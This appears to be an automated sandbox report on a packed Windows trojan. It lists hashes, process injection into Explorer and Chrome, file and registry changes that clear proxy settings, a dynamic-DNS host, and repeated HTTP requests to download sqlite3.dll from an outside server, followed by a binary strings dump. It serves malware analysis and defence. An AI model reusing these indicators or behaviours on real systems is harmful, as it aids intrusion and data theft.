MD5: 871606228cea5985c743e8a63fd3264b
SHA1: 6599ad3be641957eeaffd17bb2a8e5fdcd9a31d9
SHA256: 0f54f3d254298dafd6809f8ac96467126fd111c2b93041a79f9f478aaf8cd107
SSDeep: 98304:CpEEPzgPsxNCJn tBiUUrEG/Q5t1nkOPY:6EEPcPkE tBoIUCnkOA
Size: 3751936 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 1992-06-20 01:22:17
Analyzed on: Windows7 SP1 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:1916
chrome.exe:2712

The Trojan injects its code into the following process(es):

NCK MTK Full No HWID.exe:592
chrome.exe:2824
Explorer.EXE:244

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:1916 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\adm2.txt (3 bytes)

The process chrome.exe:2824 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\adm8 (104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\admlog.dat (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat (80 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\adm7 (11664 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\NCK MTK Full No HWID.exe (294 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\adm2.txt (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\adm7 (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\adm8 (0 bytes)

Registry activity

The process chrome.exe:2824 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\chrome_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\chrome_RASAPI32]
"MaxFileSize" = "1048576"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad]
"WpadLastNetwork" = "{24C5EDBC-2851-452A-B521-5DA992F6C1B5}"

[HKLM\SOFTWARE\Microsoft\Tracing\chrome_RASAPI32]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-e1-da-d8]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "46 00 00 00 09 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{24C5EDBC-2851-452A-B521-5DA992F6C1B5}]
"WpadDecision" = "3"
"WpadDecisionTime" = "E0 2C B8 C0 73 B4 D2 01"

[HKLM\SOFTWARE\Microsoft\Tracing\chrome_RASMANCS]
"FileTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-e1-da-d8]
"WpadDecision" = "3"

[HKLM\SOFTWARE\Microsoft\Tracing\chrome_RASAPI32]
"ConsoleTracingMask" = "4294901760"
"FileTracingMask" = "4294901760"

[HKCU\Software\Google\Chrome\BLBeacon]
"failed_count" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\chrome_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 36 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\chrome_RASMANCS]
"EnableFileTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{24C5EDBC-2851-452A-B521-5DA992F6C1B5}]
"WpadNetworkName" = "Network 2"

[HKCU\Software\remote]
"NewIdentification" = "remote"

[HKLM\SOFTWARE\Microsoft\Tracing\chrome_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{24C5EDBC-2851-452A-B521-5DA992F6C1B5}]
"WpadDecisionReason" = "1"

[HKCU\Software\remote]
"FirstExecution" = "13/04/2017 -- 19:33"

[HKLM\SOFTWARE\Microsoft\Tracing\chrome_RASMANCS]
"EnableConsoleTracing" = "0"

[HKCU\Software\remote]
"NewGroup" = "Type: REG_EXPAND_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-e1-da-d8]
"WpadDecisionTime" = "E0 2C B8 C0 73 B4 D2 01"

[HKCU\Software\Google\Chrome\BLBeacon]
"State" = "2"

[HKLM\SOFTWARE\Microsoft\Tracing\chrome_RASAPI32]
"EnableFileTracing" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://server.com/sqlite3.dll
www.server.com	52.8.126.80
teredo.ipv6.microsoft.com	157.56.106.189
dns.msftncsi.com	131.107.255.255
ssameer.no-ip.biz

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /sqlite3.dll HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.server.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx

Date: Thu, 13 Apr 2017 16:34:06 GMT

Content-Type: text/html

Content-Length: 1020

Connection: keep-alive

Last-Modified: Sat, 04 Jun 2016 08:29:07 GMT

ETag: "3fc-5346fa2067c4c"

Accept-Ranges: bytes

X-Powered-By: PleskLin
<HTML>.<HEAD>.<TITLE>404 Not Found</TITLE>.<
;BASE href="/error_docs/"><!--[if lte IE 6]></BASE><
![endif]-->.</HEAD>.<BODY>.<H1>Not Found</H1&g
t;.The requested document was not found on this server..<P>.<
HR>.<ADDRESS>.Web Server at server.com.</ADDRESS>.</
BODY>.</HTML>..<!--.   - Unfortunately, Microsoft has adde
d a clever new.   - "feature" to Internet Explorer. If the text of.   
- an error's message is "too small", specifically.   - less than 512 b
ytes, Internet Explorer returns.   - its own error message. You can tu
rn that off,.   - but it's pretty tricky to find switch called.   - "s
mart error messages". That means, of course,.   - that short error mes
sages are censored by default..   - IIS always returns error messages 
that are long.   - enough to make Internet Explorer happy. The.   - wo
rkaround is pretty simple: pad the error.   - message with a big comme
nt like this to push it.   - over the five hundred and twelve bytes mi
nimum..   - Of course, that's exactly what you're reading.   - right n
ow..   -->...

GET /sqlite3.dll HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.server.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx

Date: Thu, 13 Apr 2017 16:34:41 GMT

Content-Type: text/html

Content-Length: 1020

Connection: keep-alive

Last-Modified: Sat, 04 Jun 2016 08:29:07 GMT

ETag: "3fc-5346fa2067c4c"

Accept-Ranges: bytes

X-Powered-By: PleskLin
<HTML>.<HEAD>.<TITLE>404 Not Found</TITLE>.<
;BASE href="/error_docs/"><!--[if lte IE 6]></BASE><
![endif]-->.</HEAD>.<BODY>.<H1>Not Found</H1&g
t;.The requested document was not found on this server..<P>.<
HR>.<ADDRESS>.Web Server at server.com.</ADDRESS>.</
BODY>.</HTML>..<!--.   - Unfortunately, Microsoft has adde
d a clever new.   - "feature" to Internet Explorer. If the text of.   
- an error's message is "too small", specifically.   - less than 512 b
ytes, Internet Explorer returns.   - its own error message. You can tu
rn that off,.   - but it's pretty tricky to find switch called.   - "s
mart error messages". That means, of course,.   - that short error mes
sages are censored by default..   - IIS always returns error messages 
that are long.   - enough to make Internet Explorer happy. The.   - wo
rkaround is pretty simple: pad the error.   - message with a big comme
nt like this to push it.   - over the five hundred and twelve bytes mi
nimum..   - Of course, that's exactly what you're reading.   - right n
ow..   -->...

GET /sqlite3.dll HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.server.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx

Date: Thu, 13 Apr 2017 16:34:57 GMT

Content-Type: text/html

Content-Length: 1020

Connection: keep-alive

Last-Modified: Sat, 04 Jun 2016 08:29:07 GMT

ETag: "3fc-5346fa2067c4c"

Accept-Ranges: bytes

X-Powered-By: PleskLin
<HTML>.<HEAD>.<TITLE>404 Not Found</TITLE>.<
;BASE href="/error_docs/"><!--[if lte IE 6]></BASE><
![endif]-->.</HEAD>.<BODY>.<H1>Not Found</H1&g
t;.The requested document was not found on this server..<P>.<
HR>.<ADDRESS>.Web Server at server.com.</ADDRESS>.</
BODY>.</HTML>..<!--.   - Unfortunately, Microsoft has adde
d a clever new.   - "feature" to Internet Explorer. If the text of.   
- an error's message is "too small", specifically.   - less than 512 b
ytes, Internet Explorer returns.   - its own error message. You can tu
rn that off,.   - but it's pretty tricky to find switch called.   - "s
mart error messages". That means, of course,.   - that short error mes
sages are censored by default..   - IIS always returns error messages 
that are long.   - enough to make Internet Explorer happy. The.   - wo
rkaround is pretty simple: pad the error.   - message with a big comme
nt like this to push it.   - over the five hundred and twelve bytes mi
nimum..   - Of course, that's exactly what you're reading.   - right n
ow..   -->.HTTP/1.1 404 Not Found..Server: nginx..Date: Thu, 13 Apr
 2017 16:34:57 GMT..Content-Type: text/html..Content-Length: 1020..Con
nection: keep-alive..Last-Modified: Sat, 04 Jun 2016 08:29:07 GMT..ETa
g: "3fc-5346fa2067c4c"..Accept-Ranges: bytes..X-Powered-By: PleskLin..
<HTML>.<HEAD>.<TITLE>404 Not Found</TITLE>.<
;BASE href="/error_docs/"><!--[if lte IE 6]></BASE>
<<< skipped >>>

GET /sqlite3.dll HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.server.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx

Date: Thu, 13 Apr 2017 16:34:13 GMT

Content-Type: text/html

Content-Length: 1020

Connection: keep-alive

Last-Modified: Sat, 04 Jun 2016 08:29:07 GMT

ETag: "3fc-5346fa2067c4c"

Accept-Ranges: bytes

X-Powered-By: PleskLin
<HTML>.<HEAD>.<TITLE>404 Not Found</TITLE>.<
;BASE href="/error_docs/"><!--[if lte IE 6]></BASE><
![endif]-->.</HEAD>.<BODY>.<H1>Not Found</H1&g
t;.The requested document was not found on this server..<P>.<
HR>.<ADDRESS>.Web Server at server.com.</ADDRESS>.</
BODY>.</HTML>..<!--.   - Unfortunately, Microsoft has adde
d a clever new.   - "feature" to Internet Explorer. If the text of.   
- an error's message is "too small", specifically.   - less than 512 b
ytes, Internet Explorer returns.   - its own error message. You can tu
rn that off,.   - but it's pretty tricky to find switch called.   - "s
mart error messages". That means, of course,.   - that short error mes
sages are censored by default..   - IIS always returns error messages 
that are long.   - enough to make Internet Explorer happy. The.   - wo
rkaround is pretty simple: pad the error.   - message with a big comme
nt like this to push it.   - over the five hundred and twelve bytes mi
nimum..   - Of course, that's exactly what you're reading.   - right n
ow..   -->...

GET /sqlite3.dll HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.server.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx

Date: Thu, 13 Apr 2017 16:34:28 GMT

Content-Type: text/html

Content-Length: 1020

Connection: keep-alive

Last-Modified: Sat, 04 Jun 2016 08:29:07 GMT

ETag: "3fc-5346fa2067c4c"

Accept-Ranges: bytes

X-Powered-By: PleskLin
<HTML>.<HEAD>.<TITLE>404 Not Found</TITLE>.<
;BASE href="/error_docs/"><!--[if lte IE 6]></BASE><
![endif]-->.</HEAD>.<BODY>.<H1>Not Found</H1&g
t;.The requested document was not found on this server..<P>.<
HR>.<ADDRESS>.Web Server at server.com.</ADDRESS>.</
BODY>.</HTML>..<!--.   - Unfortunately, Microsoft has adde
d a clever new.   - "feature" to Internet Explorer. If the text of.   
- an error's message is "too small", specifically.   - less than 512 b
ytes, Internet Explorer returns.   - its own error message. You can tu
rn that off,.   - but it's pretty tricky to find switch called.   - "s
mart error messages". That means, of course,.   - that short error mes
sages are censored by default..   - IIS always returns error messages 
that are long.   - enough to make Internet Explorer happy. The.   - wo
rkaround is pretty simple: pad the error.   - message with a big comme
nt like this to push it.   - over the five hundred and twelve bytes mi
nimum..   - Of course, that's exactly what you're reading.   - right n
ow..   -->...

GET /sqlite3.dll HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.server.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx

Date: Thu, 13 Apr 2017 16:34:49 GMT

Content-Type: text/html

Content-Length: 1020

Connection: keep-alive

Last-Modified: Sat, 04 Jun 2016 08:29:07 GMT

ETag: "3fc-5346fa2067c4c"

Accept-Ranges: bytes

X-Powered-By: PleskLin
<HTML>.<HEAD>.<TITLE>404 Not Found</TITLE>.<
;BASE href="/error_docs/"><!--[if lte IE 6]></BASE><
![endif]-->.</HEAD>.<BODY>.<H1>Not Found</H1&g
t;.The requested document was not found on this server..<P>.<
HR>.<ADDRESS>.Web Server at server.com.</ADDRESS>.</
BODY>.</HTML>..<!--.   - Unfortunately, Microsoft has adde
d a clever new.   - "feature" to Internet Explorer. If the text of.   
- an error's message is "too small", specifically.   - less than 512 b
ytes, Internet Explorer returns.   - its own error message. You can tu
rn that off,.   - but it's pretty tricky to find switch called.   - "s
mart error messages". That means, of course,.   - that short error mes
sages are censored by default..   - IIS always returns error messages 
that are long.   - enough to make Internet Explorer happy. The.   - wo
rkaround is pretty simple: pad the error.   - message with a big comme
nt like this to push it.   - over the five hundred and twelve bytes mi
nimum..   - Of course, that's exactly what you're reading.   - right n
ow..   -->.HTTP/1.1 404 Not Found..Server: nginx..Date: Thu, 13 Apr
 2017 16:34:49 GMT..Content-Type: text/html..Content-Length: 1020..Con
nection: keep-alive..Last-Modified: Sat, 04 Jun 2016 08:29:07 GMT..ETa
g: "3fc-5346fa2067c4c"..Accept-Ranges: bytes..X-Powered-By: PleskLin..
<HTML>.<HEAD>.<TITLE>404 Not Found</TITLE>.<
;BASE href="/error_docs/"><!--[if lte IE 6]></BASE>
<<< skipped >>>

GET /sqlite3.dll HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.server.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx

Date: Thu, 13 Apr 2017 16:34:34 GMT

Content-Type: text/html

Content-Length: 1020

Connection: keep-alive

Last-Modified: Sat, 04 Jun 2016 08:29:07 GMT

ETag: "3fc-5346fa2067c4c"

Accept-Ranges: bytes

X-Powered-By: PleskLin
<HTML>.<HEAD>.<TITLE>404 Not Found</TITLE>.<
;BASE href="/error_docs/"><!--[if lte IE 6]></BASE><
![endif]-->.</HEAD>.<BODY>.<H1>Not Found</H1&g
t;.The requested document was not found on this server..<P>.<
HR>.<ADDRESS>.Web Server at server.com.</ADDRESS>.</
BODY>.</HTML>..<!--.   - Unfortunately, Microsoft has adde
d a clever new.   - "feature" to Internet Explorer. If the text of.   
- an error's message is "too small", specifically.   - less than 512 b
ytes, Internet Explorer returns.   - its own error message. You can tu
rn that off,.   - but it's pretty tricky to find switch called.   - "s
mart error messages". That means, of course,.   - that short error mes
sages are censored by default..   - IIS always returns error messages 
that are long.   - enough to make Internet Explorer happy. The.   - wo
rkaround is pretty simple: pad the error.   - message with a big comme
nt like this to push it.   - over the five hundred and twelve bytes mi
nimum..   - Of course, that's exactly what you're reading.   - right n
ow..   -->...

GET /sqlite3.dll HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.server.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx

Date: Thu, 13 Apr 2017 16:33:59 GMT

Content-Type: text/html

Content-Length: 1020

Connection: keep-alive

Last-Modified: Sat, 04 Jun 2016 08:29:07 GMT

ETag: "3fc-5346fa2067c4c"

Accept-Ranges: bytes

X-Powered-By: PleskLin
<HTML>.<HEAD>.<TITLE>404 Not Found</TITLE>.<
;BASE href="/error_docs/"><!--[if lte IE 6]></BASE><
![endif]-->.</HEAD>.<BODY>.<H1>Not Found</H1&g
t;.The requested document was not found on this server..<P>.<
HR>.<ADDRESS>.Web Server at server.com.</ADDRESS>.</
BODY>.</HTML>..<!--.   - Unfortunately, Microsoft has adde
d a clever new.   - "feature" to Internet Explorer. If the text of.   
- an error's message is "too small", specifically.   - less than 512 b
ytes, Internet Explorer returns.   - its own error message. You can tu
rn that off,.   - but it's pretty tricky to find switch called.   - "s
mart error messages". That means, of course,.   - that short error mes
sages are censored by default..   - IIS always returns error messages 
that are long.   - enough to make Internet Explorer happy. The.   - wo
rkaround is pretty simple: pad the error.   - message with a big comme
nt like this to push it.   - over the five hundred and twelve bytes mi
nimum..   - Of course, that's exactly what you're reading.   - right n
ow..   -->...

GET /sqlite3.dll HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.server.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx

Date: Thu, 13 Apr 2017 16:34:20 GMT

Content-Type: text/html

Content-Length: 1020

Connection: keep-alive

Last-Modified: Sat, 04 Jun 2016 08:29:07 GMT

ETag: "3fc-5346fa2067c4c"

Accept-Ranges: bytes

X-Powered-By: PleskLin
<HTML>.<HEAD>.<TITLE>404 Not Found</TITLE>.<
;BASE href="/error_docs/"><!--[if lte IE 6]></BASE><
![endif]-->.</HEAD>.<BODY>.<H1>Not Found</H1&g
t;.The requested document was not found on this server..<P>.<
HR>.<ADDRESS>.Web Server at server.com.</ADDRESS>.</
BODY>.</HTML>..<!--.   - Unfortunately, Microsoft has adde
d a clever new.   - "feature" to Internet Explorer. If the text of.   
- an error's message is "too small", specifically.   - less than 512 b
ytes, Internet Explorer returns.   - its own error message. You can tu
rn that off,.   - but it's pretty tricky to find switch called.   - "s
mart error messages". That means, of course,.   - that short error mes
sages are censored by default..   - IIS always returns error messages 
that are long.   - enough to make Internet Explorer happy. The.   - wo
rkaround is pretty simple: pad the error.   - message with a big comme
nt like this to push it.   - over the five hundred and twelve bytes mi
nimum..   - Of course, that's exactly what you're reading.   - right n
ow..   -->...

The Trojan connects to the servers at the folowing location(s):

.text

`.rdata

@.data

.gfids

@.tls

.rsrc

@.reloc

D$,j.Xf

j.Yf;

_tcPVj@

.PjRW

ole32.dll

POWRPROF.dll

address family not supported

broken pipe

function not supported

inappropriate io control operation

not supported

operation canceled

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

InitOnceExecuteOnce

operator

operator ""

?#%X.y

%S#[k

?OLEAUT32.dll

user32.dll

c:\b\build\slave\win-pgo\build\src\chrome\app\chrome_exe_main_win.cc

c:\b\build\slave\win-pgo\build\src\chrome\app\main_dll_loader_win.cc

Failed to load Chrome DLL from

ChromeMain

RelaunchChromeBrowserWithNewCommandLineIfNeeded

Could not find exported function

%s: option `%s' is ambiguous (could be `--%s' or `--%s')

%s: invalid option -- `-%c'

%s: argument required for option `

--%s'

0.8.0

%ls (%s) %s

hXXps://crashpad.chromium.org/

hXXps://crashpad.chromium.org/bug/new

Report %ls bugs to

%s home page: <%s>

%ls: %s

(0x%X)

Error (0x%X) while retrieving error. (0x%X)

PlatformFile.UnknownErrors.Windows

c:\b\build\slave\win-pgo\build\src\base\threading\thread_local_win.cc

0123456789

(flags = 0x%x)

Histogram: %s recorded %d samples

.syzygy

.thunks

Windows NT

Histogram.InconsistentCountHigh

Histogram.InconsistentCountLow

c:\b\build\slave\win-pgo\build\src\base\metrics\persistent_memory_allocator.cc

(%d = %3.1f%%)

UMA.CreatePersistentHistogram.Result

Dictionary keys must be quoted.

Unsupported encoding. JSON must be UTF-8.

Line: %i, column: %i, %s

widevinecdmadapter.dll

c:\b\build\slave\win-pgo\build\src\chrome\installer\util\google_update_settings.cc

Failed to write to application's ClientState key

Removed incremental installer failure key; switching to channel:

Removed multi-install failure key; switching to channel:

CHROME_PROBED_PROGRAM_FILES_PATH

chrome-sxs

c:\b\build\slave\win-pgo\build\src\chrome\installer\util\google_chrome_distribution.cc

iexplore.exe

googlechrome

googlechromeframe

c:\b\build\slave\win-pgo\build\src\chrome\installer\util\channel_info.cc

c:\b\build\slave\win-pgo\build\src\chrome\installer\util\language_selector.cc

c:\b\build\slave\win-pgo\build\src\chrome\installer\util\app_commands.cc

Cannot initialize AppCommands from an invalid key.

Skipping over key "

Failed to open key "

Cannot initialize an AppCommand from an invalid key.

c:\b\build\slave\win-pgo\build\src\chrome\installer\util\app_command.cc

CHROME_MAIN_TICKS

user_experience_metrics.reporting_enabled

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\client\settings.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\numeric\in_range_cast.h

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\client\crash_report_database_win.cc

x-x-x-xx-xxxxxx

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\misc\uuid.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\file\file_io_win.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\file\file_io.cc

--annotation=KEY=VALUE set a process annotation in each crash report

--database=PATH store the crash report database at PATH

create a new pipe and send its name via HANDLE

--pipe-name=PIPE communicate with the client over PIPE

--url=URL send crash reports to this Breakpad server URL,

pipe-name

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\handler\handler_main.cc

duplicate key

--annotation requires KEY=VALUE

--handshake-handle and --pipe-name are incompatible

--handshake-handle or --pipe-name is required

SetProcessShutdownParameters

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\handler\crash_report_upload_thread.cc

reserved key

FinishedWritingCrashReport failed

PrepareNewCrashReport failed

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\handler\win\crash_report_exception_handler.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\minidump\minidump_file_writer.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\minidump\minidump_writer_util.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\minidump\minidump_writable.cc

%s.%s,%s,%s

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\minidump\minidump_context_writer.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\minidump\process_snapshot_minidump.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\process_snapshot_win.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\crashpad_info_client_options.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\minidump\minidump_simple_string_dictionary_reader.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\minidump\module_snapshot_minidump.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\exception_snapshot_win.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\module_snapshot_win.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\system_snapshot_win.cc

%s %d.%d.%d.%s%s

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\process_reader_win.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\minidump\minidump_string_list_reader.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\capture_memory.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\cpu_context_win.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\pe_image_reader.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\pe_image_annotations_reader.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\process_subrange_reader.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\snapshot\win\pe_image_resource_reader.cc

kernel32.dll

c:\b\build\slave\win-pgo\build\src\sandbox\win\src\sandbox_policy_base.cc

NtOpenKey

NtCreateKey

GetCertificateSize

GetCertificate

GetCertificateSizeByHandle

GetCertificateByHandle

SetOPMSigningKeyAndSequenceNumbers

CreateNamedPipeW

NtOpenKeyEx

PruneCrashReportDatabase: Failed to get pending reports

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\client\prune_crash_reports.cc

PruneCrashReportDatabase: Failed to get completed reports

Database Pruning: Failed to remove report

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\win\exception_handler_server.cc

::GetNamedPipeClientProcessId

\\.\pipe\crashpad_%d_

ImpersonateNamedPipeClient

ConnectNamedPipe

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\file\file_reader.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\net\http_transport_win.cc

WinHttpCrackUrl

WinHttpConnect

WinHttpOpenRequest

WinHttpCloseHandle

Crashpad/0.8.0

WinHttpOpen

WinHttpSetTimeouts

WinHttpReceiveResponse

WinHttpQueryHeaders

HTTP status %d

WinHttpReadData

WinHttpAddRequestHeaders

WinHttpSendRequest

%%x

--%s%sContent-Disposition: form-data; name="%s"

; filename="%s"%s

Content-Type: %s%s

multipart/form-data; boundary=%s

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\win\scoped_process_suspend.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\file\file_seeker.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\win\process_info.cc

Reading x64 process from x86 process not supported

0x%llx   0x%llx (%s)

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\win\module_version.cc

<failed to retrieve error message (0x%x)>

(0xx)

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\win\scoped_local_alloc.cc

SetNamedPipeHandleState

WaitNamedPipe

TransactNamedPipe: expected

TransactNamedPipe

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\win\registration_protocol_win.cc

c:\b\build\slave\win-pgo\build\src\third_party\crashpad\crashpad\util\net\http_body.cc

InvokeMainViaCRT

ExitMainViaCRT

Microsoft.CRTProvider

